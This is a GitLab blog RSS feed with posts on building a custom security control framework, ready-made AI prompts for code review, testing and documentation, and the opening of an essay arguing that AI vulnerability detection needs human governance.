<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <id>https://about.gitlab.com/blog</id>
    <title>GitLab</title>
    <updated>2026-03-04T19:21:53.618Z</updated>
    <generator>https://github.com/jpmonette/feed</generator>
    <author>
        <name>The GitLab Team</name>
    </author>
    <link rel="alternate" href="https://about.gitlab.com/blog"/>
    <link rel="self" href="https://about.gitlab.com/atom.xml"/>
    <subtitle>GitLab Blog RSS feed</subtitle>
    <icon>https://about.gitlab.com/favicon.ico</icon>
    <rights>All rights reserved 2026</rights>
    <entry>
        <title type="html"><![CDATA[How GitLab built a security control framework from scratch]]></title>
        <id>https://about.gitlab.com/blog/how-gitlab-built-a-security-control-framework-from-scratch/</id>
        <link href="https://about.gitlab.com/blog/how-gitlab-built-a-security-control-framework-from-scratch/"/>
        <updated>2026-03-04T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab&#39;s Security Compliance team discovered that existing security control frameworks lacked the customization to fit the platform&#39;s multi-product, cloud-native environment.</p><p>So we built our own.</p><p>Here&#39;s what we learned and why creating your own custom security control framework might be the right move for your compliance program.</p><h2 id="the-journey-through-frameworks">The journey through frameworks</h2><p>When I joined GitLab&#39;s Security Compliance team in November 2022, we were using the <a href="https://securecontrolsframework.com/" rel="">Secure Controls Framework</a> to manage controls across our external certifications and internal compliance needs. But as our requirements grew, we realized we needed something more comprehensive.</p><p>With FedRAMP authorization on our roadmap, we chose to adopt <a href="https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final" rel="">NIST SP 800-53</a> next. NIST SP 800-53 includes more than 1,000 controls, but its comprehensiveness isn’t perfectly suited to GitLab’s environment.</p><p>We didn&#39;t need to implement every NIST control, only those applicable to our specific requirements. Our focus was on the quality of controls rather than quantity. Implementing unnecessary controls doesn&#39;t improve security; in fact, too many can make an environment less secure as individuals find ways to circumvent overly restrictive or irrelevant controls.</p><p>Some controls also lacked the necessary granularity for our needs. For example, NIST’s AC-2 “Account Management” control covers account creation and provisioning, account modification and disabling, account removal and termination, shared and group account management, and account monitoring and reviews.</p><p>In practice, these are <em>at least</em> six distinct controls with different owners, testing procedures, and risks. For attestations like SOC 2, each activity is tested as a separate control because they have different evidence requirements and operational contexts. NIST&#39;s all-encompassing AC-2 didn&#39;t match how we actually operate controls or how auditors actually assess us, and we needed controls granular enough to reflect our operational environment.</p><p>We found ourselves constantly customizing, adding, and adapting NIST controls to fit our environment. At some point, we realized we weren&#39;t really using NIST SP 800-53 anymore, we were building our own framework on top of it. We decided a custom control framework, one tailored to GitLab’s environment, would best accommodate our multi-product offering and each product’s unique compliance needs.</p><h2 id="building-the-gitlab-control-framework">Building the GitLab Control Framework</h2><p>Through five methodical steps, we built our own common controls framework: the GitLab Control Framework (GCF).</p><h3 id="_1-analyze-what-we-need">1. Analyze what we need</h3><p>We reviewed our existing controls and mapped every requirement from external certifications we already maintained, certifications on our roadmap, and our internal compliance program:</p><p><strong>External certifications:</strong></p><ul><li>SOC 2 Type II</li><li>ISO 27001, ISO 27017, ISO 27018, ISO 42001</li><li>PCI DSS</li><li>TISAX</li><li>Cyber Essentials</li><li>FedRAMP</li></ul><p><strong>Internal compliance needs:</strong></p><ul><li>Controls for mission-critical systems that are not in-scope for external certifications</li><li>Controls for systems with access to sensitive data</li></ul><p>This gave us the baseline: what controls must exist to meet our compliance obligations.</p><h3 id="_2-learn-from-industry-frameworks">2. Learn from industry frameworks</h3><p>Next, we compared our requirements against industry-recognized frameworks:</p><ul><li>NIST SP 800-53</li><li>NIST Cybersecurity Framework (CSF)</li><li>Secure Controls Framework (SCF)</li><li>Adobe and Cisco Common Controls Framework (CCF)</li></ul><p>Having adopted frameworks in the past, we wanted to learn from their structure and ensure we weren&#39;t missing critical security domains, controls, or best practices.</p><h3 id="_3-create-custom-control-domains">3. Create custom control domains</h3><p>Through this analysis, we created 18 custom control domains tailored to GitLab&#39;s environment:</p><table><thead><tr><th align="left">Abbreviation</th><th align="left">Domain</th><th align="left">Scope of controls</th></tr></thead><tbody><tr><td align="left">AAM</td><td align="left">Audit &amp; Accountability Management</td><td align="left">Logging, monitoring, and maintaining audit trails of system activities</td></tr><tr><td align="left">AIM</td><td align="left">Artificial Intelligence Management</td><td align="left">Specific to AI system development, deployment, and governance</td></tr><tr><td align="left">ASM</td><td align="left">Asset Management</td><td align="left">Identifying, tracking, and managing organizational assets</td></tr><tr><td align="left">BCA</td><td align="left">Backups, Contingency, and Availability Management</td><td align="left">Business continuity, disaster recovery, and system availability</td></tr><tr><td align="left">CHM</td><td align="left">Change Management</td><td align="left">Managing changes to systems, applications, and infrastructure</td></tr><tr><td align="left">CSR</td><td align="left">Customer Security Relationship Management</td><td align="left">Customer communication, transparency, and security commitments</td></tr><tr><td align="left">DPM</td><td align="left">Data Protection Management</td><td align="left">Protecting data confidentiality, integrity, and privacy</td></tr><tr><td align="left">EPM</td><td align="left">Endpoint Management</td><td align="left">Securing end-user devices and workstations</td></tr><tr><td align="left">GPM</td><td align="left">Governance &amp; Program Management</td><td align="left">Security governance, policies, and program oversight</td></tr><tr><td align="left">IAM</td><td align="left">Identity, Authentication, and Access Management</td><td align="left">User identity, authentication mechanisms, and access control</td></tr><tr><td align="left">INC</td><td align="left">Incident Management</td><td align="left">Detecting, responding to, and recovering from security incidents</td></tr><tr><td align="left">ISM</td><td align="left">Infrastructure Security Management</td><td align="left">Network, server, and foundational infrastructure security</td></tr><tr><td align="left">PAS</td><td align="left">Product and Application Security Management</td><td align="left">Security capabilities built into the GitLab product that are dogfooded to secure GitLab&#39;s own development, such as branch protection &amp; code security scanning</td></tr><tr><td align="left">PSM</td><td align="left">People Security Management</td><td align="left">Personnel security, training, and awareness</td></tr><tr><td align="left">SDL</td><td align="left">Software Development &amp; Acquisition Life Cycle Management</td><td align="left">Secure SDLC practices and third-party software acquisition</td></tr><tr><td align="left">SRM</td><td align="left">Security Risk Management</td><td align="left">Risk assessment, treatment, and management</td></tr><tr><td align="left">TPR</td><td align="left">Third Party Risk Management</td><td align="left">Managing security risks from vendors and suppliers</td></tr><tr><td align="left">TVM</td><td align="left">Threat &amp; Vulnerability Management</td><td align="left">Identifying and remediating security vulnerabilities</td></tr></tbody></table><p><br /><br /></p><p>Each domain groups related controls into logical families that align with how GitLab&#39;s security program is actually organized and operated. This structure provides a methodical approach for adding, updating, or removing controls as our needs evolve.</p><h3 id="_4-add-context-and-data">4. Add context and data</h3><p>With our domains defined, we needed to address two critical challenges: how to represent controls across multiple products without duplicating the framework, and how to capture meaningful implementation context to actually operate and audit at scale.</p><h4 id="scaling-across-multiple-products">Scaling across multiple products</h4><p>GitLab provides multiple product offerings: GitLab.com (multi-tenant SaaS on GCP), GitLab Dedicated (single-tenant SaaS on AWS), and GitLab Dedicated for Government (GitLab’s single-tenant FedRAMP offering on AWS). Each offering has different infrastructure, compliance scopes, and audit requirements. We needed to support product-specific audits without creating entirely separate frameworks.</p><p>We designed a control hierarchy where <strong>Level 1 controls are the framework</strong>, defining what should be implemented at the organizational level. <strong>Level 2 controls are the implementation</strong>, capturing the product-specific details of how each requirement is actually fulfilled.</p><pre className="language-mermaid shiki shiki-themes github-light" code="%%{init: { &quot;fontFamily&quot;: &quot;GitLab Sans&quot; }}%%
graph TD
    accTitle: Control Hierarchy
    accDescr: Level 1 requirements cascade to Level 2 implementations.
    
    L1[&quot;Level 1: Framework&lt;br/&gt;What must be implemented&quot;];
    L2A[&quot;Level 2: GitLab.com&lt;br/&gt;How it&#39;s implemented&quot;];
    L2B[&quot;Level 2: Dedicated&lt;br/&gt;How it&#39;s implemented&quot;];
    L2C[&quot;Level 2: Dedicated for Gov&lt;br/&gt;How it&#39;s implemented&quot;];
    L2D[&quot;Level 2: Entity&lt;br/&gt;(inherited by all)&quot;];
    
    L1--&gt;L2A;
    L1--&gt;L2B;
    L1--&gt;L2C;
    L1--&gt;L2D;
" language="mermaid" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#24292E">%%{init: { &quot;fontFamily&quot;: &quot;GitLab Sans&quot; }}%%
</span></span><span class="line" line="2"><span style="--shiki-default:#24292E">graph TD
</span></span><span class="line" line="3"><span style="--shiki-default:#24292E">    accTitle: Control Hierarchy
</span></span><span class="line" line="4"><span style="--shiki-default:#24292E">    accDescr: Level 1 requirements cascade to Level 2 implementations.
</span></span><span class="line" line="5"><span style="--shiki-default:#24292E">    
</span></span><span class="line" line="6"><span style="--shiki-default:#24292E">    L1[&quot;Level 1: Framework&lt;br/&gt;What must be implemented&quot;];
</span></span><span class="line" line="7"><span style="--shiki-default:#24292E">    L2A[&quot;Level 2: GitLab.com&lt;br/&gt;How it&#39;s implemented&quot;];
</span></span><span class="line" line="8"><span style="--shiki-default:#24292E">    L2B[&quot;Level 2: Dedicated&lt;br/&gt;How it&#39;s implemented&quot;];
</span></span><span class="line" line="9"><span style="--shiki-default:#24292E">    L2C[&quot;Level 2: Dedicated for Gov&lt;br/&gt;How it&#39;s implemented&quot;];
</span></span><span class="line" line="10"><span style="--shiki-default:#24292E">    L2D[&quot;Level 2: Entity&lt;br/&gt;(inherited by all)&quot;];
</span></span><span class="line" line="11"><span style="--shiki-default:#24292E">    
</span></span><span class="line" line="12"><span style="--shiki-default:#24292E">    L1--&gt;L2A;
</span></span><span class="line" line="13"><span style="--shiki-default:#24292E">    L1--&gt;L2B;
</span></span><span class="line" line="14"><span style="--shiki-default:#24292E">    L1--&gt;L2C;
</span></span><span class="line" line="15"><span style="--shiki-default:#24292E">    L1--&gt;L2D;
</span></span></code></pre><p><br /><br /></p><p>This separation allows us to maintain one framework with product-specific implementations, rather than managing duplicate frameworks for each offering. Entity controls apply organization-wide and are inherited by GitLab.com, GitLab Dedicated, and GitLab Dedicated for Government.</p><h4 id="adding-context-to-controls">Adding context to controls</h4><p>Traditional control frameworks track minimal information: a control ID, description, and owner. The GCF takes a different approach and its superpower is the extensive metadata we track for each control. Beyond just stating the control description or implementation statement, we capture:</p><ul><li>Control owner: Who is accountable for the control and its risk?</li><li>Environment: Does this apply organization-wide (Entity, inherited by all product offerings), to GitLab.com, or to Dedicated?</li><li>Assets: What specific systems does this control cover?</li><li>Frequency: How often is the control performed or tested?</li><li>Nature: Is it manual, semi-automated, or fully automated?</li><li>Classification: Is this for external certifications or internal risk?</li><li>Testing details: How do we assess it? What evidence do we collect?</li></ul><p>This context transforms the GCF from a simple control list into an operationalized control inventory.</p><p>With this structure, we can answer questions like:</p><ul><li>Which controls apply to GitLab.com for our SOC 2 audit vs. GitLab Dedicated? → Filter by environment: GitLab.com</li><li>What controls does the Infrastructure team own? → Filter by owner</li><li>Which controls can we automate? → Filter by nature: Manual</li></ul><h3 id="_5-iterate-mature-and-scale">5. Iterate, mature, and scale</h3><p>The GCF isn&#39;t static and was designed to evolve with our business and compliance landscape.</p><h4 id="pursuing-new-certifications">Pursuing new certifications</h4><p>Because we&#39;ve operationalized context into the GCF, we can quickly determine the scope and gaps when pursuing new certifications (ISMAP, IRAP, C5, etc.):</p><ol><li>Determine scope: Which product has the business need (GitLab.com, GitLab Dedicated, or both)?</li><li>Map requirements: Do existing controls already cover the new certification requirements?</li><li>Identify gaps: What new controls need to be created?</li><li>Update mappings: Link existing controls to the new certification requirements.</li></ol><h4 id="adapting-to-new-regulations">Adapting to new regulations</h4><p>When new regulations emerge or existing requirements change:</p><ul><li>Review existing controls: Does an existing control already cover the new requirement?</li><li>Update or create: Either update existing control language or create a new control.</li><li>Apply the most stringent: When multiple certifications have similar requirements, we implement the most stringent version — secure once, comply with many.</li><li>Map across certifications: Link the control to all relevant certification requirements.</li></ul><h4 id="managing-control-lifecycle">Managing control lifecycle</h4><p>The framework adapts to various changes:</p><ul><li>Requirement changes: When certifications update their requirements, we review impacted controls and update descriptions or mappings.</li><li>Deprecated controls: If a requirement is removed or a control is no longer needed, we mark it as deprecated and remove it from our monitoring schedule.</li><li>New risks identified: Risk assessments may identify gaps requiring new internal controls.</li></ul><h2 id="the-power-of-common-controls-one-control-multiple-requirements">The power of common controls: One control, multiple requirements</h2><p>Securing once and complying with many isn&#39;t just a principle, it has tangible benefits across how we prepare for audits, support control owners, and pursue new certifications. Here&#39;s what that looks like in practice, both qualitatively and in the numbers.</p><h3 id="qualitative-results">Qualitative results</h3><p>Since implementing the GCF, we&#39;ve seen significant improvements in how we manage compliance:</p><h4 id="integrated-audit-approach">Integrated audit approach</h4><p>The GCF enables us to maintain one framework with controls mapped to multiple certification requirements, instead of managing separate control sets for each audit. One control can satisfy SOC 2, ISO 27001, and PCI DSS requirements simultaneously.</p><h4 id="faster-audit-preparation">Faster audit preparation</h4><p>Through the GCF, we maintain one consolidated request list instead of separate lists for each audit. Because we&#39;ve defined controls with specific context, our request lists say &quot;Okta user list&quot; instead of generic &quot;production user list,&quot; eliminating ambiguity and interpretation. We&#39;re not collecting “N/A” evidence or leaving it up to auditors to interpret what &quot;production&quot; means in our environment. Everything is already scoped to our actual systems.</p><h4 id="reduced-stakeholder-burden">Reduced stakeholder burden</h4><p>This integration directly reduces burden on our stakeholders. Control owners provide evidence once instead of responding to separate requests from SOC 2, ISO, and PCI auditors. When we collect evidence for access controls, it satisfies SOC 2, ISO 27001, and PCI DSS requirements simultaneously. One control, one test, one piece of evidence with multiple certifications and requirements satisfied.</p><h4 id="efficient-gap-assessments">Efficient gap assessments</h4><p>When pursuing new certifications or launching new features, the operationalized context enables more efficient gap analysis. We can determine which controls already exist, what&#39;s missing, and what implementation is required.</p><h3 id="quantifiable-results">Quantifiable results</h3><p><strong>Control efficiency:</strong></p><ul><li>Reduced SOC controls by 58% (200 controls → 84) for GitLab.com and 55% (181 → 82) for GitLab Dedicated</li><li>One framework now supports 8+ certifications</li></ul><p><strong>Audit efficiency:</strong></p><ul><li>Consolidated 4 audit request lists into 1, reducing requests by 44% (415 → 231)</li><li>95% evidence acceptance rate before fieldwork for recent PCI audits</li></ul><p><strong>Framework scale:</strong></p><ul><li>220+ active controls across 18 custom domains</li><li>Mapped to 1,300+ certification requirements</li><li>Supports multiple product offerings</li></ul><h2 id="the-path-forward">The path forward</h2><p>The GCF continues to evolve as we add security and AI controls, pursue new certifications, and refine our approach.</p><p><strong>For security compliance practitioners:</strong> Don&#39;t be afraid to build your own framework if industry standards don&#39;t fit. The upfront investment pays dividends in scalability, efficiency, and controls that actually make sense for your environment. Sometimes the best framework is the one you design yourself.</p><blockquote><p>If you found this helpful, check out our complete <a href="https://handbook.gitlab.com/handbook/security/security-assurance/security-compliance/sec-controls/" rel="">GitLab Control Framework documentation</a>, where we detail our framework methodology, control domains, and field structures.</p></blockquote><style>html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}</style>]]></content>
        <author>
            <name>Davoud Tu</name>
            <uri>https://about.gitlab.com/blog/authors/davoud-tu/</uri>
        </author>
        <published>2026-03-04T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[10 AI prompts to speed your team’s software delivery]]></title>
        <id>https://about.gitlab.com/blog/10-ai-prompts-to-speed-your-teams-software-delivery/</id>
        <link href="https://about.gitlab.com/blog/10-ai-prompts-to-speed-your-teams-software-delivery/"/>
        <updated>2026-03-04T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>AI-assisted coding tools are helping developers generate code faster than ever. So why aren’t teams <em>shipping</em> faster?</p><p>Because coding is only 20% of the software delivery lifecycle, the remaining 80% becomes the bottleneck: code review backlogs grow, security scanning can’t keep pace, documentation falls behind, and manual coordination overhead increases.</p><p>The good news is that the same AI capabilities that accelerate individual coding can eliminate these team-level delays. You just need to apply AI across your entire software lifecycle, not only during the coding phase.</p><p>Below are 10 ready-to-use prompts from the <a href="https://about.gitlab.com/gitlab-duo/prompt-library/" rel="">GitLab Duo Agent Platform Prompt Library</a> that help teams overcome common obstacles to faster software delivery. Each prompt addresses a specific slowdown that emerges when individual productivity increases without corresponding improvements in team processes.</p><h2 id="how-do-you-move-code-review-from-bottleneck-to-accelerator">How do you move code review from bottleneck to accelerator?</h2><p>Developers generate merge requests faster with AI assistance, but human reviewers can quickly become overwhelmed as code review cycles stretch from hours to days. AI can handle routine review tasks, freeing reviewers to focus on architecture and business logic instead of catching basic logical errors and API contract violations.</p><h3 id="review-mr-for-logical-errors">Review MR for logical errors</h3><p><strong>Complexity</strong>: Beginner</p><p><strong>Category</strong>: Code Review</p><p><strong>Prompt from library</strong>:</p><pre className="language-text" code="Review this MR for logical errors, edge cases, and potential bugs: [MR URL or paste code]
" language="text" meta=""><code>Review this MR for logical errors, edge cases, and potential bugs: [MR URL or paste code]
</code></pre><p><strong>Why it helps</strong>: Automated linters catch syntax issues, but logical errors require understanding intent. This prompt catches bugs before human reviewers even look at the code, reducing review cycles from multiple rounds to often just one approval.</p><h3 id="identify-breaking-changes-in-mr">Identify breaking changes in MR</h3><p><strong>Complexity</strong>: Beginner</p><p><strong>Category</strong>: Code Review</p><p><strong>Prompt from library</strong>:</p><pre className="language-text" code="Does this MR introduce any breaking changes?

Changes:
[PASTE CODE DIFF]

Check for:
1. API signature changes
2. Removed or renamed public methods
3. Changed return types
4. Modified database schemas
5. Breaking configuration changes
" language="text" meta=""><code>Does this MR introduce any breaking changes?

Changes:
[PASTE CODE DIFF]

Check for:
1. API signature changes
2. Removed or renamed public methods
3. Changed return types
4. Modified database schemas
5. Breaking configuration changes
</code></pre><p><strong>Why it helps</strong>: Breaking changes discovered during deployment can cause rollbacks and incidents. This prompt shifts that discovery left to the MR stage, when fixes are faster and less expensive.</p><h2 id="how-can-you-shift-security-left-without-slowing-down">How can you shift security left without slowing down?</h2><p>Security scans generate hundreds of findings. Security teams manually triage each one while developers wait for approval to deploy. Most findings are false positives or low-risk issues, but identifying the real threats requires expertise and time. AI can prioritize findings by actual exploitability and auto-remediate common vulnerabilities, allowing security teams to focus on the threats that matter.</p><h3 id="analyze-security-scan-results">Analyze security scan results</h3><p><strong>Complexity</strong>: Intermediate</p><p><strong>Category</strong>: Security</p><p><strong>Agent</strong>: Duo Security Analyst</p><p><strong>Prompt from library</strong>:</p><pre className="language-text" code="@security_analyst Analyze these security scan results:

[PASTE SCAN OUTPUT]

For each finding:
1. Assess real risk vs false positive
2. Explain the vulnerability
3. Suggest remediation
4. Prioritize by severity
" language="text" meta=""><code>@security_analyst Analyze these security scan results:

[PASTE SCAN OUTPUT]

For each finding:
1. Assess real risk vs false positive
2. Explain the vulnerability
3. Suggest remediation
4. Prioritize by severity
</code></pre><p><strong>Why it helps</strong>: Most security scan findings are false positives or low-risk issues. This prompt helps security teams focus on the findings that actually matter, reducing remediation time from weeks to days.</p><h3 id="review-code-for-security-issues">Review code for security issues</h3><p><strong>Complexity</strong>: Intermediate</p><p><strong>Category</strong>: Security</p><p><strong>Agent</strong>: Duo Security Analyst</p><p><strong>Prompt from library</strong>:</p><pre className="language-text" code="@security_analyst Review this code for security issues:

[PASTE CODE]

Check for:
1. Injection vulnerabilities
2. Authentication/authorization flaws
3. Data exposure risks
4. Insecure dependencies
5. Cryptographic issues
" language="text" meta=""><code>@security_analyst Review this code for security issues:

[PASTE CODE]

Check for:
1. Injection vulnerabilities
2. Authentication/authorization flaws
3. Data exposure risks
4. Insecure dependencies
5. Cryptographic issues
</code></pre><p><strong>Why it helps</strong>: Traditional security reviews happen after code is written. This prompt enables developers to find and fix security issues before creating an MR, eliminating the back and forth that delays deployments.</p><h2 id="how-do-you-keep-documentation-current-as-code-changes">How do you keep documentation current as code changes?</h2><p>Code changes faster than documentation. Onboarding new developers takes weeks because docs are outdated or missing. Teams know documentation is important, but it always gets deferred when deadlines approach. Automating documentation generation and updates as part of your standard workflow ensures docs stay current without adding manual work.</p><h3 id="generate-release-notes-from-mrs">Generate release notes from MRs</h3><p><strong>Complexity</strong>: Beginner</p><p><strong>Category</strong>: Documentation</p><p><strong>Prompt from library</strong>:</p><pre className="language-text" code="Generate release notes for these merged MRs:
[LIST MR URLs or paste titles]

Group by:
1. New features
2. Bug fixes
3. Performance improvements
4. Breaking changes
5. Deprecations
" language="text" meta=""><code>Generate release notes for these merged MRs:
[LIST MR URLs or paste titles]

Group by:
1. New features
2. Bug fixes
3. Performance improvements
4. Breaking changes
5. Deprecations
</code></pre><p><strong>Why it helps</strong>: Manual release note compilation takes hours and often includes errors or omissions. Automated generation ensures every release has comprehensive notes without adding work to your release process.</p><h3 id="update-documentation-after-code-changes">Update documentation after code changes</h3><p><strong>Complexity</strong>: Beginner</p><p><strong>Category</strong>: Documentation</p><p><strong>Prompt from library</strong>:</p><pre className="language-text" code="I changed this code:

[PASTE CODE CHANGES]

What documentation needs updating? Check:
1. README files
2. API documentation
3. Architecture diagrams
4. Onboarding guides
" language="text" meta=""><code>I changed this code:

[PASTE CODE CHANGES]

What documentation needs updating? Check:
1. README files
2. API documentation
3. Architecture diagrams
4. Onboarding guides
</code></pre><p><strong>Why it helps</strong>: Documentation drift happens because teams forget which docs need updates after code changes. This prompt makes documentation maintenance part of your development workflow, not a separate task that gets deferred.</p><h2 id="how-do-you-break-down-planning-complexity">How do you break down planning complexity?</h2><p>Large features get stuck in planning. Teams spend weeks in meetings trying to scope work and identify dependencies. The complexity feels overwhelming, and it&#39;s hard to know where to start. AI can systematically decompose complex work into concrete, implementable tasks with clear dependencies and acceptance criteria, transforming weeks of planning into focused implementation.</p><h3 id="break-down-epic-into-issues">Break down epic into issues</h3><p><strong>Complexity</strong>: Intermediate</p><p><strong>Category</strong>: Documentation</p><p><strong>Agent</strong>: Duo Planner</p><p><strong>Prompt from library</strong>:</p><pre className="language-text" code="Break down this epic into implementable issues:

[EPIC DESCRIPTION]

Consider:
1. Technical dependencies
2. Reasonable issue sizes
3. Clear acceptance criteria
4. Logical implementation order
" language="text" meta=""><code>Break down this epic into implementable issues:

[EPIC DESCRIPTION]

Consider:
1. Technical dependencies
2. Reasonable issue sizes
3. Clear acceptance criteria
4. Logical implementation order
</code></pre><p><strong>Why it helps</strong>: This prompt transforms a week of planning meetings into 30 minutes of AI-assisted decomposition followed by team review. Teams start implementation sooner with clearer direction.</p><h2 id="how-can-you-expand-test-coverage-without-expanding-effort">How can you expand test coverage without expanding effort?</h2><p>Developers are writing code faster, but if testing doesn&#39;t keep pace, test coverage decreases and bugs slip through. Writing comprehensive tests manually is time-consuming, and developers often miss edge cases under deadline pressure. Generating tests automatically means developers can review and refine rather than write from scratch, maintaining quality without sacrificing velocity.</p><h3 id="generate-unit-tests">Generate unit tests</h3><p><strong>Complexity</strong>: Beginner</p><p><strong>Category</strong>: Testing</p><p><strong>Prompt from library</strong>:</p><pre className="language-text" code="Generate unit tests for this function:

[PASTE FUNCTION]

Include tests for:
1. Happy path
2. Edge cases
3. Error conditions
4. Boundary values
5. Invalid inputs
" language="text" meta=""><code>Generate unit tests for this function:

[PASTE FUNCTION]

Include tests for:
1. Happy path
2. Edge cases
3. Error conditions
4. Boundary values
5. Invalid inputs
</code></pre><p><strong>Why it helps</strong>: Writing tests manually is time consuming, and developers often miss edge cases. This prompt generates thorough test suites in seconds, which developers can review and adjust rather than write from scratch.</p><h3 id="review-test-coverage-gaps">Review test coverage gaps</h3><p><strong>Complexity</strong>: Beginner</p><p><strong>Category</strong>: Testing</p><p><strong>Prompt from library</strong>:</p><pre className="language-text" code="Analyze test coverage for [MODULE/COMPONENT]:

Current coverage: [PERCENTAGE]

Identify:
1. Untested functions/methods
2. Uncovered edge cases
3. Missing error scenario tests
4. Integration points without tests
5. Priority areas to test next
" language="text" meta=""><code>Analyze test coverage for [MODULE/COMPONENT]:

Current coverage: [PERCENTAGE]

Identify:
1. Untested functions/methods
2. Uncovered edge cases
3. Missing error scenario tests
4. Integration points without tests
5. Priority areas to test next
</code></pre><p><strong>Why it helps</strong>: This prompt reveals blind spots in your test suite before they cause production incidents. Teams can systematically improve coverage where it matters most.</p><h2 id="how-do-you-reduce-mean-time-to-resolution-when-debugging">How do you reduce mean time to resolution when debugging?</h2><p>Production incidents take hours to diagnose. Developers wade through logs and stack traces while customers experience downtime. Every minute of debugging is a minute of lost productivity and potential revenue. AI can accelerate root cause analysis by parsing complex error messages and suggesting specific fixes, cutting diagnostic time from hours to minutes.</p><h3 id="debug-failing-pipeline">Debug failing pipeline</h3><p><strong>Complexity</strong>: Beginner</p><p><strong>Category</strong>: Debugging</p><p><strong>Prompt from library</strong>:</p><pre className="language-text" code="This pipeline is failing:

Job: [JOB NAME]
Stage: [STAGE]
Error: [PASTE ERROR MESSAGE/LOG]

Help me:
1. Identify the root cause
2. Suggest a fix
3. Explain why it started failing
4. Prevent similar issues
" language="text" meta=""><code>This pipeline is failing:

Job: [JOB NAME]
Stage: [STAGE]
Error: [PASTE ERROR MESSAGE/LOG]

Help me:
1. Identify the root cause
2. Suggest a fix
3. Explain why it started failing
4. Prevent similar issues
</code></pre><p><strong>Why it helps</strong>: CI/CD failures block entire teams. This prompt diagnoses failures in seconds instead of the 15-30 minutes developers typically spend investigating, keeping deployment velocity high.</p><h2 id="moving-from-individual-gains-to-team-acceleration">Moving from individual gains to team acceleration</h2><p>These prompts represent a shift in how teams apply AI to software delivery. Rather than focusing solely on individual developer productivity, they address the coordination, quality, and knowledge-sharing challenges that actually constrain team velocity.</p><p>The <a href="https://about.gitlab.com/gitlab-duo/prompt-library/" rel="">complete prompt library</a> contains more than 100 prompts across all stages of the software lifecycle: planning, development, security, testing, deployment, and operations. Each prompt is tagged by complexity level (Beginner, Intermediate, Advanced) and categorized by use case, making it easy to find the right starting point for your team.</p><p>Start with prompts tagged “Beginner” that address your team’s most pressing obstacles. As your team builds confidence, explore intermediate and advanced prompts that enable more sophisticated workflows. The goal is not just faster coding — it&#39;s faster, safer, higher-quality software delivery from planning through production.</p>]]></content>
        <author>
            <name>Chandler Gibbons</name>
            <uri>https://about.gitlab.com/blog/authors/chandler-gibbons/</uri>
        </author>
        <published>2026-03-04T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[AI can detect vulnerabilities, but who governs risk?]]></title>
        <id>https://about.gitlab.com/blog/ai-can-detect-vulnerabilities-but-who-governs-risk/</id>
        <link href="https://about.gitlab.com/blog/ai-can-detect-vulnerabilities-but-who-governs-risk/"/>
        <updated>2026-02-27T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Anthropic recently announced Claude Code Security, an AI system that detects vulnerabilities and proposes fixes. The market reacted immediately, with security stocks dipping as investors questioned whether AI might replace traditional AppSec tools. The question on everyone&#39;s mind: If AI can write code and secure it, is application security about to become obsolete?</p><p>If security only meant scanning code, the answer might be yes. But enterprise security has never been about detection alone.</p><p>Organizations are not asking whether AI can find vulnerabilities. They are asking three much harder questions:</p><ul><li>Is what we are about to ship safe?</li><li>Has our risk posture changed as environments evolve and dependencies, third-party services, tools, and infrastructure continuously shift?</li><li>How do we govern a codebase that is increasingly assembled by AI and third-party sources, and that we are still accountable for?</li></ul><p>Those questions require a platform answer: Detection surfaces risk, but governance determines what happens next.</p><p><a href="https://about.gitlab.com/" rel="">GitLab</a> is the orchestration layer built to govern the software lifecycle end-to-end. It gives teams the enforcement, visibility, and auditability they need to keep pace with the speed of AI-assisted development.</p><h2 id="trusting-ai-requires-governing-risk">Trusting AI requires governing risk</h2><p>AI systems are rapidly getting better at identifying vulnerabilities and suggesting fixes. This is a meaningful and welcome advancement, but analysis is not accountability.</p><p>AI cannot enforce company policy or define acceptable risk on its own. Humans must set the boundaries, policies, and guardrails that agents operate within, establishing separation of duties, ensuring audit trails, and maintaining consistent controls across thousands of repositories and teams. Trust in agents comes not from autonomy alone, but from clearly defined governance set by people.</p><p>In an <a href="https://about.gitlab.com/topics/agentic-ai/" rel="">agentic world</a>, where software is increasingly written and modified by autonomous systems, governance becomes more important, not less. The more autonomy organizations grant to AI, the stronger the governance must be.</p><p>Governance is not friction. It is the foundation that makes AI-assisted development trustworthy at scale.</p><h2 id="llms-see-code-but-platforms-see-context">LLMs see code, but platforms see context</h2><p>A large language model (<a href="https://about.gitlab.com/blog/what-is-a-large-language-model-llm/" rel="">LLM</a>) evaluates code in isolation. An enterprise application security platform understands context. This difference matters because risk decisions are contextual:</p><ul><li>Who authored the change?</li><li>How critical is the application to the business?</li><li>How does it interact with infrastructure and dependencies?</li><li>Does the vulnerability exist in code that is actually reachable in production, or is it buried in a dependency that never executes?</li><li>Is it actually exploitable in production, given how the application runs, its APIs, and the environment around it?</li></ul><p>Security decisions depend on this context. Without it, detection produces noisy alerts that slow down development rather than reducing risk. With it, organizations can triage quickly and manage risk effectively. Context evolves continuously as software changes, which means governance cannot be a one-time decision.</p><h2 id="static-scans-cant-keep-up-with-dynamic-risk">Static scans can’t keep up with dynamic risk</h2><p>Software risk is dynamic. Dependencies change, environments evolve, and systems interact in ways no single analysis can fully predict. A clean scan at one moment does not guarantee safety at release.</p><p>Enterprise security depends on continuous assurance: controls embedded directly into development workflows that evaluate risk as software is built, tested, and deployed.</p><p>Detection provides insight. Governance provides trust. Continuous governance is what allows organizations to ship safely at scale.</p><h2 id="governing-the-agentic-future">Governing the agentic future</h2><p>AI is reshaping how software is created. The question is no longer whether teams will use AI, but how safely they can scale it.</p><p>Software today is assembled as much as it is written, from AI-generated code, open-source libraries, and third-party dependencies that span thousands of projects. Governing what ships across all of those sources is the hardest and most consequential part of application security, and it is the part that no developer-side tool is built to address.</p><p>As an intelligent orchestration platform, GitLab is built to address this problem. GitLab Ultimate embeds governance, policy enforcement, security scanning, and auditability directly into the workflows where software is 